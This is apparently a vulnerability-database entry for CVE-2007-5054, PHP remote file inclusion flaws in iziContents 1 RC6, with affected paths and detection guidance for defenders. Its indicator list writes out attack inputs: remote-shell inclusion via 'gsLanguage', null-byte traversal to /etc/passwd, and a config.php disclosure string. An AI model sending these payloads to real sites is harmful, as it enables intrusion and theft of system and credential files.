CVE-2007-5054

published 2007-09-24

CVE-2007-5054: Multiple PHP remote file inclusion vulnerabilities in iziContents 1 RC6 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the…

Priority P3 52 high 7.5 CVSS 2.0

AV N AC L Au N C P I P A P

EXPLOIT

Multiple PHP remote file inclusion vulnerabilities in iziContents 1 RC6 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the gsLanguage parameter to (1) search/search.php, (2) poll/inlinepoll.php, (3) poll/showpoll.php, (4) links/showlinks.php, or (5) links/submit_links.php in modules/.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
izicontents	izicontents	<= 1_rc6	—

Detection & IOCs extracted from sources · hover to see the quote

path modules/search/search.php↗

path modules/poll/inlinepoll.php↗

path modules/poll/showpoll.php↗

path modules/links/showlinks.php↗

path modules/links/submit_links.php↗

path modules/poll/poll_summary.php↗

path include/db.php↗

path include/tinymce/tiny_mce_gzip.php↗

command rootdp=zZz&gsLanguage=http://[shell]?↗

command admin_home=/etc/passwd%00↗

command rootdp=/etc/passwd%00↗

command theme=../../config.php%00↗

• → Detect RFI attempts by monitoring HTTP requests to iziContents module paths containing a URL value in the 'gsLanguage' parameter (e.g., gsLanguage=http://) ↗
• → Detect LFI attempts by monitoring HTTP requests to iziContents paths where 'rootdp' or 'admin_home' parameters contain path traversal sequences or null-byte (%00) injection targeting /etc/passwd ↗
• → Detect remote file disclosure attempts against tiny_mce_gzip.php where the 'theme' parameter contains directory traversal sequences with null-byte termination (e.g., theme=../../config.php%00) ↗
• → The exploit uses the canary value 'rootdp=zZz' consistently across RFI and LFI payloads; presence of this exact string in query parameters is a strong indicator of exploitation attempts against iziContents ↗

• · Affected versions are iziContents 1 RC6 and earlier; the vulnerability exists in multiple modules under the 'modules/' directory as well as 'include/' paths ↗

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-94